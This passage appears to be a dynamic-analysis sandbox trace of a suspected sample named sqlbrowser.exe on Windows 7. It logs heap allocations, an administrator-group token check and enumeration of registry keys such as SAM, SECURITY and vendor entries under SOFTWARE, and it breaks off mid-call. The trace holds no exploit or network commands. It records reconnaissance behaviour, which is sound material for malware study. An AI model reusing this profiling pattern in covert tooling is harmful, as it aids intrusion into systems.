RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x184) returned 0x22f0968 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0af8 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0b40 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0b88 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0bd0 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0c18 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0c60 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0ca8 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0cf0 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0d38 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0d80 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0dc8 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0e10 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0e58 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0ea0 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0ee8 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0f30 [0025.600] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sqlbrowser.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sqlbrowser.exe")) returned 0x34 [0025.601] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22f0f78 [0025.601] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x2c) returned 0x22fb828 [0025.606] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0025.606] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0025.606] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0xc4) returned 1 [0025.606] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0025.606] GetLastError () returned 0x7a [0025.606] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x140) returned 0x22fb860 [0025.606] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x22fb860, TokenInformationLength=0x118, ReturnLength=0x18fbec | out: TokenInformation=0x22fb860, ReturnLength=0x18fbec) returned 1 [0025.606] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x5c4c30*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0025.606] EqualSid (pSid1=0x5c4c30*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x22fb8c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0025.606] EqualSid (pSid1=0x5c4c30*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x22fb8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0025.606] EqualSid (pSid1=0x5c4c30*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x22fb8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0025.606] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb860) returned 1 [0025.606] NtClose (Handle=0xc4) returned 0x0 [0025.606] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fb860 [0025.607] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fb8a8 [0025.608] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x280) returned 0x22fb930 [0025.619] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0025.624] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x22fb930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0025.624] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.624] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbc58 [0025.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x22fbc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0025.624] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbca0 [0025.624] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbc58) returned 1 [0025.624] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbca0) returned 1 [0025.624] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.624] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x22fb930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0025.624] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.624] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbca0 [0025.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x22fbca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0025.624] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbc58 [0025.624] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbca0) returned 1 [0025.624] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbc58) returned 1 [0025.624] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.624] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x22fb930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0025.624] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.625] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbc58 [0025.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x22fbc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0025.625] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbca0 [0025.625] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbc58) returned 1 [0025.625] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbca0) returned 1 [0025.625] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.625] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x22fb930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0025.625] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.625] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbca0 [0025.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x22fbca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0025.625] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbc58 [0025.625] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbca0) returned 1 [0025.625] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbc58) returned 1 [0025.625] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.625] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x22fb930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0025.625] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.625] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbc58 [0025.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x22fbc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0025.625] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbca0 [0025.625] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbc58) returned 1 [0025.625] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbca0) returned 1 [0025.625] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.625] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0025.625] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x184) returned 0x22fd040 [0025.625] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbca0 [0025.625] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbc58 [0025.625] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbce8 [0025.625] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbd30 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbd78 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbdc0 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbe08 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbe50 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbe98 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbee0 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbf28 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbf70 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fbfb8 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc000 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc048 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc090 [0025.626] RegCloseKey (hKey=0x80000002) returned 0x0 [0025.626] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x22fb930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x22fc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.626] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.626] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.626] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.626] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x22fb930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0025.626] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.626] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.626] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.626] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.626] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x22fb930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0025.627] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.627] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x22fc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0025.627] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.627] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.627] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.627] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.627] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x22fb930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0025.627] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.627] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0025.627] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.627] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.627] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.627] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.627] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x22fb930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0025.627] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.627] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x22fc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0025.627] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.627] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.627] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.627] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.627] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x22fb930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0025.627] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.627] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x22fc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0025.627] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.628] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.628] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.628] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.628] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x22fb930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0025.628] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.628] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x22fc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0025.628] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.628] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.628] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.628] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.628] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0025.628] RegCloseKey (hKey=0xc4) returned 0x0 [0025.628] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x22fb930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0025.628] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.628] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x22fc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0025.628] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.628] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.629] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.629] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.629] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x22fb930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0025.629] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.629] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x22fc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0025.629] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.629] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.629] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.629] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.629] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x22fb930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0025.629] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 